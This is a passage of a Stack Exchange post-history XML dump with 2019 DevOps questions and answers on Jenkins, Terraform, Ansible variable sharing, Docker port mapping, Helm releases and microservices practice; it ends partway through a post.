  <row Id="26614" PostHistoryTypeId="2" PostId="9065" RevisionGUID="da522a49-d5a5-4ef9-9fb7-63b267f63742" CreationDate="2019-09-01T10:48:01.610" UserId="210" Text="You could watch this video about multi branch: https://www.youtube.com/watch?v=gXXwCki94ys&#xD;&#xA;&#xD;&#xA;Basically it is about:&#xD;&#xA;&#xD;&#xA;* create new item&#xD;&#xA;* choose multibranch&#xD;&#xA;* copy and paste the git url of the project&#xD;&#xA;* choose a ssh key that has been added to the credentials settings&#xD;&#xA;* choose a polling interval of e.g. 1 min in the &quot;scan multibranch pipeline triggers&quot; section" ContentLicense="CC BY-SA 4.0" />
  <row Id="26615" PostHistoryTypeId="50" PostId="8790" RevisionGUID="f698c81e-98c2-4e1b-aece-54d572378130" CreationDate="2019-09-01T11:00:50.147" UserId="-1" />
  <row Id="26616" PostHistoryTypeId="50" PostId="6779" RevisionGUID="4e560dbc-f4d8-4c57-be50-77815794ce7e" CreationDate="2019-09-01T14:02:50.677" UserId="-1" />
  <row Id="26617" PostHistoryTypeId="50" PostId="8780" RevisionGUID="ae626601-a91f-4bf4-b82b-efeb5207d761" CreationDate="2019-09-01T16:03:20.450" UserId="-1" />
  <row Id="26618" PostHistoryTypeId="2" PostId="9066" RevisionGUID="3e1d8648-feee-49c4-b341-5c8b91a17deb" CreationDate="2019-09-01T17:35:29.503" UserId="786" Text="I assume from the `ansible` tag in your question that you need something that can run from a command line, so that rules out plugins to SSMS like [dbForge](https://sqlserver.pro/dbforge-sql-server-schema-comparison-and-sync-tool). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Try [Flyway](https://flywaydb.org) (has a free version) or [Red Gate](https://www.red-gate.com/products/sql-development/sql-compare/) (commercial). " ContentLicense="CC BY-SA 4.0" />
  <row Id="26619" PostHistoryTypeId="5" PostId="9057" RevisionGUID="536f1b20-8396-494c-a5ca-974e979eb1bb" CreationDate="2019-09-01T18:11:21.193" UserId="16664" Comment="deleted 37 characters in body" Text="    Terraform v0.12.7&#xD;&#xA;    + provider.aws v2.25.0&#xD;&#xA;    + provider.null v2.1.2&#xD;&#xA;    + provider.template v2.1.2&#xD;&#xA;&#xD;&#xA;Hello, when I try run `terraform apply` after upgrading to 0.12 I get error:&#xD;&#xA;&#xD;&#xA;    module.elasticsearch.module.ec2.aws_instance.this[0]: Modifying... [id=i-075090c94e5117ce3]&#xD;&#xA;    module.elasticsearch.module.ec2.aws_instance.this[1]: Modifying... [id=i-01fddbae2487e2573]&#xD;&#xA;    &#xD;&#xA;    Error: rpc error: code = Unavailable desc = transport is closing&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Error: rpc error: code = Unavailable desc = transport is closing&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Releasing state lock. This may take a few moments...&#xD;&#xA;&#xD;&#xA;Also I found next errors in logs:&#xD;&#xA;&#xD;&#xA;    [DEBUG] plugin: plugin process exited: path=/home/user/env-beta/.terraform/plugins/linux_amd64/terraform-provider-aws_v2.25.0_x4 pid=25405 error=&quot;exit status 2&quot;&#xD;&#xA;    2019/08/29 14:47:18 [DEBUG] module.elasticsearch.module.ec2.aws_instance.this[1]: apply errored, but we're indicating that via the Error &#xD;&#xA;    pointer rather than returning it: rpc error: code = Canceled desc = context canceled&#xD;&#xA;    2019/08/29 14:47:18 [DEBUG] module.elasticsearch.module.ec2.aws_instance.this[0]: apply errored, but we're indicating that via the Error &#xD;&#xA;    pointer rather than returning it: rpc error: code = Unavailable desc = transport is closing&#xD;&#xA;    2019/08/29 14:47:18 [ERROR] module.elasticsearch.module.ec2: eval: *terraform.EvalApplyPost, err: rpc error: code = Canceled desc = context canceled&#xD;&#xA;    2019/08/29 14:47:18 [ERROR] module.elasticsearch.module.ec2: eval: *terraform.EvalSequence, err: rpc error: code = Canceled desc = context canceled&#xD;&#xA;    2019/08/29 14:47:18 [ERROR] module.elasticsearch.module.ec2: eval: *terraform.EvalApplyPost, err: rpc error: code = Unavailable desc = transport is closing&#xD;&#xA;    2019/08/29 14:47:18 [ERROR] module.elasticsearch.module.ec2: eval: *terraform.EvalSequence, err: rpc error: code = Unavailable desc = transport is closing&#xD;&#xA;And I notice strange thing, terraform wants add to this ec2 `credit_specification {}` but instance type is i3.large...&#xD;&#xA;&#xD;&#xA;Maybe someone can help me. Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="26620" PostHistoryTypeId="2" PostId="9067" RevisionGUID="23a6a5f3-6609-4aa0-a100-0bb0e56a85d4" CreationDate="2019-09-01T19:23:11.180" UserId="6579" Text="I recommend using the [BitBucket Branch Source Plugin][1] when using BitBucket. Documentation can be found [here][2]   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Bitbucket+Branch+Source+Plugin&#xD;&#xA;  [2]: https://go.cloudbees.com/docs/plugins/bitbucket/" ContentLicense="CC BY-SA 4.0" />
  <row Id="26621" PostHistoryTypeId="2" PostId="9068" RevisionGUID="8e103401-4bfc-4ba9-9b43-2c1db3d487d2" CreationDate="2019-09-02T02:25:58.697" UserId="16862" Text="I'm writing [TestInfra][1] test scripts for mongo cluster instances using [Molecule][2] [Ansible][3]. I want to share variables across all the instances. I created a python class, and initialise and update the variables. Every time `molecule verify`, each test will run on each instance, so variables are independent on single instance. &#xD;&#xA;&#xD;&#xA;`Is it possible to share variables across instances?`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://testinfra.readthedocs.io/en/latest/&#xD;&#xA;  [2]: https://molecule.readthedocs.io/en/stable/index.html&#xD;&#xA;  [3]: https://www.ansible.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="26622" PostHistoryTypeId="1" PostId="9068" RevisionGUID="8e103401-4bfc-4ba9-9b43-2c1db3d487d2" CreationDate="2019-09-02T02:25:58.697" UserId="16862" Text="Share variables across instances" ContentLicense="CC BY-SA 4.0" />
  <row Id="26623" PostHistoryTypeId="3" PostId="9068" RevisionGUID="8e103401-4bfc-4ba9-9b43-2c1db3d487d2" CreationDate="2019-09-02T02:25:58.697" UserId="16862" Text="&lt;ansible&gt;&lt;testing&gt;&lt;python&gt;&lt;molecule&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26624" PostHistoryTypeId="2" PostId="9069" RevisionGUID="cee48f7f-ae5e-4e74-90e1-b5cc1c1cf787" CreationDate="2019-09-02T03:50:38.850" UserId="7715" Text="&gt;Q: *Is it possible to share variables across instances?*&#xD;&#xA;&#xD;&#xA;A: Yes. The dictionary *hostvars* keeps the variables. Quoting from [Accessing information about other hosts with magic variables](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#accessing-information-about-other-hosts-with-magic-variables)&#xD;&#xA;&#xD;&#xA;&gt; hostvars lets you access variables for another host, including facts that have been gathered about that host. You can access host variables at any point in a playbook. ...&#xD;&#xA;&#xD;&#xA;    {{ hostvars['test.example.com']['ansible_facts']['distribution'] }}&#xD;&#xA;&#xD;&#xA;For detail see [Scoping variables](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#scoping-variables) and [Caching facts](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#caching-facts)." ContentLicense="CC BY-SA 4.0" />
  <row Id="26625" PostHistoryTypeId="5" PostId="9069" RevisionGUID="98e22f50-d8ff-45a3-94e6-7bc3652e64e9" CreationDate="2019-09-02T03:57:56.933" UserId="7715" Comment="added 1445 characters in body" Text="&gt;Q: *Is it possible to share variables across instances?*&#xD;&#xA;&#xD;&#xA;A: Yes. The dictionary *hostvars* keeps the variables. Quoting from [Accessing information about other hosts with magic variables](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#accessing-information-about-other-hosts-with-magic-variables)&#xD;&#xA;&#xD;&#xA;&gt; hostvars lets you access variables for another host, including facts that have been gathered about that host. You can access host variables at any point in a playbook. ...&#xD;&#xA;&#xD;&#xA;    {{ hostvars['test.example.com']['ansible_facts']['distribution'] }}&#xD;&#xA;&#xD;&#xA;For details see [Scoping variables](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#scoping-variables) and [Caching facts](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#caching-facts).&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;To share information among Ansible playbooks, it's possible to store all *hostvars*. For example with this template&#xD;&#xA;&#xD;&#xA;      $ cat my_hostvars.json.j2&#xD;&#xA;      my_hostvars_all:&#xD;&#xA;      {% for my_host in ansible_play_hosts_all %}&#xD;&#xA;        {{ my_host }}:&#xD;&#xA;          {{ hostvars[my_host]|to_nice_json }}&#xD;&#xA;      {% endfor %}&#xD;&#xA;&#xD;&#xA;the playbook below stores *hostvars* of all hosts in the dictionary&#xD;&#xA;*my_hostvars_all* and put it into the file&#xD;&#xA;*{{ inventory_dir }}/my_hostvars.json* at localhost(master)&#xD;&#xA;&#xD;&#xA;      - hosts: test_jails&#xD;&#xA;        tasks:&#xD;&#xA;          - set_fact:&#xD;&#xA;              test_var: &quot;test_var_in_{{ inventory_hostname }}&quot;&#xD;&#xA;          - template:&#xD;&#xA;              src: my_hostvars.json.j2&#xD;&#xA;              dest: &quot;{{ inventory_dir }}/my_hostvars.json&quot;&#xD;&#xA;            delegate_to: localhost&#xD;&#xA;            run_once: true&#xD;&#xA;&#xD;&#xA;The dictionary can be included in the next playbook. For example the playbook below&#xD;&#xA;&#xD;&#xA;      - hosts: test_jails&#xD;&#xA;        tasks:&#xD;&#xA;          - include_vars: my_hostvars.json&#xD;&#xA;          - set_fact:&#xD;&#xA;              my_hostvars: &quot;{{ my_hostvars_all[inventory_hostname] }}&quot;&#xD;&#xA;          - debug:&#xD;&#xA;              var: my_hostvars.test_var&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;      ok: [test_01] =&gt; {&#xD;&#xA;          &quot;my_hostvars.test_var&quot;: &quot;test_var_in_test_01&quot;&#xD;&#xA;      }&#xD;&#xA;      ok: [test_02] =&gt; {&#xD;&#xA;          &quot;my_hostvars.test_var&quot;: &quot;test_var_in_test_02&quot;&#xD;&#xA;      }&#xD;&#xA;      ok: [test_03] =&gt; {&#xD;&#xA;          &quot;my_hostvars.test_var&quot;: &quot;test_var_in_test_03&quot;&#xD;&#xA;      }&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26626" PostHistoryTypeId="5" PostId="9069" RevisionGUID="8dc1810a-9f61-4ba9-97a7-f3307aa1b8b0" CreationDate="2019-09-02T04:03:13.637" UserId="7715" Comment="added 1445 characters in body" Text="&gt;Q: *Is it possible to share variables across instances?*&#xD;&#xA;&#xD;&#xA;A: Yes. The dictionary *hostvars* keeps the variables. Quoting from [Accessing information about other hosts with magic variables](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#accessing-information-about-other-hosts-with-magic-variables)&#xD;&#xA;&#xD;&#xA;&gt; hostvars lets you access variables for another host, including facts that have been gathered about that host. You can access host variables at any point in a playbook. ...&#xD;&#xA;&#xD;&#xA;    {{ hostvars['test.example.com']['ansible_facts']['distribution'] }}&#xD;&#xA;&#xD;&#xA;For details see [Scoping variables](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#scoping-variables) and [Caching facts](https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html#caching-facts).&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;With “Fact Caching” disabled, to share information among Ansible playbooks, it's possible to store all *hostvars* in a file. For example with this template&#xD;&#xA;&#xD;&#xA;      $ cat my_hostvars.json.j2&#xD;&#xA;      my_hostvars_all:&#xD;&#xA;      {% for my_host in ansible_play_hosts_all %}&#xD;&#xA;        {{ my_host }}:&#xD;&#xA;          {{ hostvars[my_host]|to_nice_json }}&#xD;&#xA;      {% endfor %}&#xD;&#xA;&#xD;&#xA;the playbook below stores *hostvars* of all hosts in the dictionary&#xD;&#xA;*my_hostvars_all* and put it into the file&#xD;&#xA;*{{ inventory_dir }}/my_hostvars.json* at localhost(master)&#xD;&#xA;&#xD;&#xA;      - hosts: test_jails&#xD;&#xA;        tasks:&#xD;&#xA;          - set_fact:&#xD;&#xA;              test_var: &quot;test_var_in_{{ inventory_hostname }}&quot;&#xD;&#xA;          - template:&#xD;&#xA;              src: my_hostvars.json.j2&#xD;&#xA;              dest: &quot;{{ inventory_dir }}/my_hostvars.json&quot;&#xD;&#xA;            delegate_to: localhost&#xD;&#xA;            run_once: true&#xD;&#xA;&#xD;&#xA;The dictionary can be included in the next playbook. For example the playbook below&#xD;&#xA;&#xD;&#xA;      - hosts: test_jails&#xD;&#xA;        tasks:&#xD;&#xA;          - include_vars: my_hostvars.json&#xD;&#xA;          - set_fact:&#xD;&#xA;              my_hostvars: &quot;{{ my_hostvars_all[inventory_hostname] }}&quot;&#xD;&#xA;          - debug:&#xD;&#xA;              var: my_hostvars.test_var&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;      ok: [test_01] =&gt; {&#xD;&#xA;          &quot;my_hostvars.test_var&quot;: &quot;test_var_in_test_01&quot;&#xD;&#xA;      }&#xD;&#xA;      ok: [test_02] =&gt; {&#xD;&#xA;          &quot;my_hostvars.test_var&quot;: &quot;test_var_in_test_02&quot;&#xD;&#xA;      }&#xD;&#xA;      ok: [test_03] =&gt; {&#xD;&#xA;          &quot;my_hostvars.test_var&quot;: &quot;test_var_in_test_03&quot;&#xD;&#xA;      }&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26627" PostHistoryTypeId="2" PostId="9070" RevisionGUID="39170fda-7455-443d-a20d-67270333f517" CreationDate="2019-09-02T04:54:33.053" UserId="16854" Text="I have an Angular application deployed in the container . If I log in to the container I can curl to the port 4200.&#xA;&#xA;I have mapped to port 9001 to connect from my host .&#xA;&#xA;But can't curl from my host machine. What could be the issue?  I think I should configure with docker bridge how to do that?? " ContentLicense="CC BY-SA 4.0" />
  <row Id="26628" PostHistoryTypeId="1" PostId="9070" RevisionGUID="39170fda-7455-443d-a20d-67270333f517" CreationDate="2019-09-02T04:54:33.053" UserId="16854" Text="Docker bridge network Configuration for containers" ContentLicense="CC BY-SA 4.0" />
  <row Id="26629" PostHistoryTypeId="3" PostId="9070" RevisionGUID="39170fda-7455-443d-a20d-67270333f517" CreationDate="2019-09-02T04:54:33.053" UserId="16854" Text="&lt;docker&gt;&lt;networking&gt;&lt;ports&gt;&lt;docker-machine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26630" PostHistoryTypeId="5" PostId="6518" RevisionGUID="ed50310a-26e2-47e9-99b8-ef136fc3e7af" CreationDate="2019-09-02T07:35:28.893" UserId="10599" Comment="added the bit about deleted" Text="Yes this happens frequently when debugging helm releases. The problem happens when a previously failed release is preventing you from updating it. &#xD;&#xA;&#xD;&#xA;If you run `helm ls` you should see a release in state `FAILED`. You might have deleted it in which case it might show up with `helm ls -a`. Such a release cannot be upgraded using the normal approach of having helm compare the new yaml to the old yaml to detect what objects to change as it is a failed release.&#xD;&#xA;&#xD;&#xA;As this normally happens when trying to get something new running I typically `helm delete —purge` the failed release. That is slightly drastic though so you may want to try to do the upgrade adding `—force` &#xD;&#xA;&#xD;&#xA;https://github.com/helm/helm/pull/2280" ContentLicense="CC BY-SA 4.0" />
  <row Id="26631" PostHistoryTypeId="5" PostId="3531" RevisionGUID="935386f6-5086-4b52-b9db-c5cdcfc5d93d" CreationDate="2019-09-02T08:14:22.830" UserId="210" Comment="deleted 36 characters in body" Text="The last couple of years I am/was part of couple of DevOps teams that are/were creating microservices. Some of the projects failed miserably.&#xD;&#xA;&#xD;&#xA;Reasons:&#xD;&#xA;&#xD;&#xA; - architect that only read a blog about microservices and claims that he is the expert of microservices&#xD;&#xA; - team members that lack knowledge, but indicate that they know everything about it as the architect told them about it&#xD;&#xA; - lack of DevOps mindset&#xD;&#xA; - no support from management&#xD;&#xA; - thinking that microservices are the holy grail, i.e. Y=&gt;X instead of X=&gt;Y&#xD;&#xA;&#xD;&#xA;According to me, a DevOps mindset is that one works together and that one focuses on deliverables, i.e. new software live within two weeks. If one wants to create all microservices in advance then a lot of assumptions have to be done and nothing will be put to production, i.e. available to the customer.&#xD;&#xA;&#xD;&#xA;This happened in one of my projects. The architects was continuously talking about &quot;what if this would happen and this&quot; and so on. Outcome? After one year, nothing was running in production.&#xD;&#xA;&#xD;&#xA;In my opinion, some companies start with microservices because they have heard about it, but do not know exactly what microservices are. Microservices are not the holy grail, e.g. one could create nanoservices, one should master automation.&#xD;&#xA;&#xD;&#xA;My point of view about microservices is that one should start with a monolith first, e.g. if you want a webshop just start with it and ensures that it is running in production within two weeks. Secondly, start monitoring it, check if there are problems in certain areas, e.g. more bugs in component X or component Y is extremely slow. If it is clear that component Y is slow, create a plan of extracting it, rewrite it within two weeks, apply autoscaling. &#xD;&#xA;&#xD;&#xA;I am in favor of the &quot;cheese slicer method&quot;. As the cheese itself is a product that delivers value and is running in production and the X=&gt;Y approach is used. Start with a problem and check what could solve this problem, instead of thinking about a solution, e.g. microservices (Y) that could solve a (hypothetical) problem.&#xD;&#xA;&#xD;&#xA;For your information. I am currently busy with a personal microservices project that consists of two microservices, e.g. an api and a write microservice. I am first solving the impediments and cleaning up my backlog. Off course I have some ideas about next microservices, but I want to put first things first and add value to the customers instead of doing a lot without finishing this microservice project that I have already experienced a couple of times.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Note: once the current backlog is complete, an additional paragraph about&#xD;&#xA;&#xD;&#xA;&gt; If Microservices terminology i.e. distinguishing between `core` and&#xD;&#xA;&gt; `other service instances`&#xD;&#xA;&#xD;&#xA;will follow.&#xD;&#xA;&#xD;&#xA;April 26 2018&#xD;&#xA;&#xD;&#xA;At the moment I have a monorepo that consists of 5 microservices, i.e. an API, writer, selector, insert and tableCreator. On one hand it is nice as the shared code could be used directly, but when a code change is pushed then I need to build everything.&#xD;&#xA;&#xD;&#xA;The next steps is to create five repos and extract the code from the monorepo to each individual repo. Advantages of this is that a code change to a repo builds the microservice that has been changed, smaller code base (easier to read).&#xD;&#xA;&#xD;&#xA;The common code will be moved to separate repos as well and published as artifacts so they could be used by the microservices.&#xD;&#xA;&#xD;&#xA;One of the prerequisites is that CI and CD are enabled for each repo. Otherwise it will take a lot of time before everything has been deployed. &#xD;&#xA;&#xD;&#xA;Microservices are not the holy grail&#xD;&#xA;&#xD;&#xA;Automation is key&#xD;&#xA;&#xD;&#xA;&quot;Do one thing and do it well&quot;." ContentLicense="CC BY-SA 4.0" />
  <row Id="26632" PostHistoryTypeId="2" PostId="9071" RevisionGUID="4e670a8a-43d2-43f2-9c2a-90f532237832" CreationDate="2019-09-02T12:18:20.000" UserId="739" Text="We ended up creating a new PagerDuty service with a schedule attached to it.  That schedule only had anybody assigned for half of the day.  This ended up duplicating some info from the service we already had, but it was the least painful way we could find to deal with it." ContentLicense="CC BY-SA 4.0" />
  <row Id="26638" PostHistoryTypeId="5" PostId="9070" RevisionGUID="01b4ef31-350b-4555-b786-4ffde2416b9a" CreationDate="2019-09-02T13:40:34.283" UserId="16854" Comment="added 564 characters in body" Text="I have an Angular application deployed in the container . If I log in to the container I can curl to the port 4200.&#xA;&#xA;I have mapped to port 9001 to connect from my host .&#xA;&#xA;But can't curl from my host machine. What could be the issue?  I think I should configure with docker bridge how to do that?? &#xA;&#xA;&#xA;My docker file &#xA;&#xA;FROM alpine:latest&#xA;&#xA;#installing required pakages&#xA;RUN apk update&#xA;RUN apk fix&#xA;RUN apk add nodejs nodejs-npm apache2 curl yarn&#xA;RUN npm install -g @angular/cli&#xA;RUN npm install -g typescript&#xA;RUN mkdir -p /var/opt/angular&#xA;&#xA;WORKDIR /opt&#xA;&#xA;COPY . .&#xA;&#xA;WORKDIR /opt/frontend&#xA;&#xA;RUN npm install&#xA;RUN ng build&#xA;COPY start.sh /opt/frontend/start.sh&#xA;RUN chmod +x start.sh&#xA;&#xA;EXPOSE 4200&#xA;CMD [&quot;sh&quot;, &quot;start.sh&quot;]&#xA;&#xA;//////////////////////////&#xA;start.sh&#xA;&#xA;#!/bin/bash&#xA;&#xA;ng serve --host 0.0.0.0&#xA;&#xA;////////////'/'&#xA;While running the docker file I have specified.  -p 9001:4200&#xA;&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26639" PostHistoryTypeId="2" PostId="9073" RevisionGUID="db026001-8925-43ec-9bbc-5d5e9f7ec44e" CreationDate="2019-09-02T20:12:23.063" UserId="677" Text="any `with_*` is actully a local lookup.&#xA;&#xA;So as Zeitounator mentioned, you're going to need to use something like the `find` module to fetch the files you want.&#xA;&#xA;so I imagine that something like this would work:&#xA;&#xA;    - hosts: primary&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xA;        - name: gather list of files to fetch&#xA;          find:&#xA;            paths: &quot;/data1/&quot;&#xA;            recurse: no&#xA;            patterns: &quot;{{ dbname }}.0.db2inst1.*&quot;&#xA;            use_regex: no&#xA;          regisrer: db_backup_src&#xA;        - name: fetch backups to local disk&#xA;           fetch:&#xA;             src: &quot;{{ item['path'] }}&quot;&#xA;             dest: /data1/backup/&#xA;             flat: yes&#xD;&#xA;          loop: &quot;{{ db_backuo_src['files'] }}&quot;&#xA;&#xA;    - hosts: standby&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;        - name: copy backup to standby&#xD;&#xA;          copy:&#xA;            src: &quot;{{ item }}&quot;&#xA;            dest: /data1&#xA;            mode: 0755&#xA;            owner: db2inst1&#xA;          with_fileglob:&#xA;            - &quot;/data1/backup/{{dbname}}.0.db2inst1.*&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26640" PostHistoryTypeId="2" PostId="9074" RevisionGUID="940606a5-86b0-475c-8449-2a50120c12eb" CreationDate="2019-09-02T22:24:22.693" UserId="9754" Text="I find the documentation at https://github.com/jenkinsci/kubernetes-plugin quite unclear when it comes to step by step configuration of external Jenkins master.&#xD;&#xA;&#xD;&#xA;What are the exact steps that need to be followed?&#xD;&#xA;I have installed the Kubernetes plugin, I have tried to supply some cluster info, but I have got lost there." ContentLicense="CC BY-SA 4.0" />
  <row Id="26641" PostHistoryTypeId="1" PostId="9074" RevisionGUID="940606a5-86b0-475c-8449-2a50120c12eb" CreationDate="2019-09-02T22:24:22.693" UserId="9754" Text="Connect external Jenkins Master to GKE with Kubernetes plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="26642" PostHistoryTypeId="3" PostId="9074" RevisionGUID="940606a5-86b0-475c-8449-2a50120c12eb" CreationDate="2019-09-02T22:24:22.693" UserId="9754" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26643" PostHistoryTypeId="5" PostId="9074" RevisionGUID="539ef12f-0102-4965-a616-84fe41a74f92" CreationDate="2019-09-02T22:32:36.233" UserId="9754" Comment="added 871 characters in body" Text="I find the documentation at https://github.com/jenkinsci/kubernetes-plugin quite unclear when it comes to step by step configuration of external Jenkins master.&#xD;&#xA;&#xD;&#xA;What are the exact steps that need to be followed?&#xD;&#xA;I have installed the Kubernetes plugin and I have tried to supply some cluster info, but I have got lost there.&#xD;&#xA;&#xD;&#xA;For Name I have taken the output from kubectl config view --raw, specifically the context for the given cluster and the cluster name part.&#xD;&#xA;&#xD;&#xA;For Kubernetes URL I have set the IP address from the Server field in the same output from above.&#xD;&#xA;&#xD;&#xA;Kubernetes server certificate key - for this part I have initially tried to follow the same pattern from above and take the value of the certificate-authority-data field, but I got an &quot;Error testing connection https://XX.XXX.XXX.XX: java.security.cert.CertificateException: Could not parse certificate: java.io.IOException: Empty input&quot;, so I have attempted to convert that value with echo &quot;the field value here&quot; | base64 -d &gt; ca.crt and use that, but it failed again and I have also got it form the UI for GKE show cluster ceritficate section, all of them give me failure on testing connection with the error from above.&#xD;&#xA;&#xD;&#xA;I couldn't really go past this point, but I see everything being quite unclear forward, so I would appreciate a step-by-step recommendation or any guide that I am missing." ContentLicense="CC BY-SA 4.0" />
  <row Id="26644" PostHistoryTypeId="5" PostId="9070" RevisionGUID="6f821542-d213-48c5-bba3-d4152bd09b6b" CreationDate="2019-09-03T04:00:12.370" UserId="13113" Comment="Reformatted the question for clarity." Text="I have an Angular application deployed in the container . If I log in to the container I can curl to the port 4200.&#xD;&#xA;&#xD;&#xA;I have mapped to port 9001 to connect from my host .&#xD;&#xA;&#xD;&#xA;But can't curl from my host machine. What could be the issue?  I think I should configure with docker bridge how to do that?? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My docker file: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM alpine:latest&#xD;&#xA;&#xD;&#xA;#installing required pakages&#xD;&#xA;RUN apk update&#xD;&#xA;RUN apk fix&#xD;&#xA;RUN apk add nodejs nodejs-npm apache2 curl yarn&#xD;&#xA;RUN npm install -g @angular/cli&#xD;&#xA;RUN npm install -g typescript&#xD;&#xA;RUN mkdir -p /var/opt/angular&#xD;&#xA;&#xD;&#xA;WORKDIR /opt&#xD;&#xA;&#xD;&#xA;COPY . .&#xD;&#xA;&#xD;&#xA;WORKDIR /opt/frontend&#xD;&#xA;&#xD;&#xA;RUN npm install&#xD;&#xA;RUN ng build&#xD;&#xA;COPY start.sh /opt/frontend/start.sh&#xD;&#xA;RUN chmod +x start.sh&#xD;&#xA;&#xD;&#xA;EXPOSE 4200&#xD;&#xA;CMD [&quot;sh&quot;, &quot;start.sh&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Start-up script(start.sh):&#xD;&#xA;```&#xD;&#xA;#!/bin/bash&#xD;&#xA;&#xD;&#xA;ng serve --host 0.0.0.0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;While running the docker file I have specified.  -p 9001:4200&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26645" PostHistoryTypeId="24" PostId="9070" RevisionGUID="6f821542-d213-48c5-bba3-d4152bd09b6b" CreationDate="2019-09-03T04:00:12.370" Comment="Proposed by 13113 approved by -1 edit id of 1062" ContentLicense="CC BY-SA 4.0" />
  <row Id="26646" PostHistoryTypeId="5" PostId="9070" RevisionGUID="4f98222a-e3df-470e-b688-e60e5bfcf9e4" CreationDate="2019-09-03T04:00:12.370" UserId="40" Comment="edited body" Text="I have an Angular application deployed in the container . If I log in to the container I can curl to the port 4200.&#xD;&#xA;&#xD;&#xA;I have mapped to port 9001 to connect from my host .&#xD;&#xA;&#xD;&#xA;But I can't curl from my host machine. What could be the issue?  I think I should configure with docker bridge how to do that?? &#xD;&#xA;&#xD;&#xA;My Docker file: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM alpine:latest&#xD;&#xA;&#xD;&#xA;#installing required pakages&#xD;&#xA;RUN apk update&#xD;&#xA;RUN apk fix&#xD;&#xA;RUN apk add nodejs nodejs-npm apache2 curl yarn&#xD;&#xA;RUN npm install -g @angular/cli&#xD;&#xA;RUN npm install -g typescript&#xD;&#xA;RUN mkdir -p /var/opt/angular&#xD;&#xA;&#xD;&#xA;WORKDIR /opt&#xD;&#xA;&#xD;&#xA;COPY . .&#xD;&#xA;&#xD;&#xA;WORKDIR /opt/frontend&#xD;&#xA;&#xD;&#xA;RUN npm install&#xD;&#xA;RUN ng build&#xD;&#xA;COPY start.sh /opt/frontend/start.sh&#xD;&#xA;RUN chmod +x start.sh&#xD;&#xA;&#xD;&#xA;EXPOSE 4200&#xD;&#xA;CMD [&quot;sh&quot;, &quot;start.sh&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Start-up script(start.sh):&#xD;&#xA;```&#xD;&#xA;#!/bin/bash&#xD;&#xA;&#xD;&#xA;ng serve --host 0.0.0.0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;While running the docker file I have specified.  -p 9001:4200&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26647" PostHistoryTypeId="2" PostId="9075" RevisionGUID="de1d3cc3-8d7a-4888-b1ae-b3035f2fbb86" CreationDate="2019-09-03T04:09:38.837" UserId="14770" Text="i have so many HA machines that one of them is primary and the other is standby.i have this playbook that copies a config file from primary and then from standby on local machine then use those files as input for a python script:  &#xD;&#xA;&#xD;&#xA;    - hosts: primary&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;      - name: copy the config of primary to local&#xD;&#xA;        fetch:&#xD;&#xA;          src: /data1/cronjobs/gen_ddl&#xD;&#xA;          dest: /AnsibleDir/primary&#xD;&#xA;          flat: yes&#xD;&#xA;    - hosts: standby&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;      - name: copy the config of standby to local&#xD;&#xA;        fetch:&#xD;&#xA;          src: /data1/cronjobs/gen_ddl&#xD;&#xA;          dest: /AnsibleDir//standby&#xD;&#xA;          flat: yes&#xD;&#xA;    - hosts: 127.0.0.1&#xD;&#xA;      connection: local&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;      - name: run python script&#xD;&#xA;        shell: /AnsibleDir/driver.py&#xD;&#xA;        register: myshell_output&#xD;&#xA;      - name: copy the output to a local file&#xD;&#xA;        copy:&#xD;&#xA;          content: &quot;{{ myshell_output.stdout }}&quot;&#xD;&#xA;          dest: &quot;/AnsibleDir/output.{{ host }}&quot;  &#xD;&#xA;&#xD;&#xA;and i use this command:  &#xD;&#xA;`ansible-playbook -i /Ansible/hostfile /Ansible/python.yml --extra-vars &quot;host=test1&quot;`  &#xD;&#xA;&#xD;&#xA;in `hostfile` i have this configuration:  &#xD;&#xA;     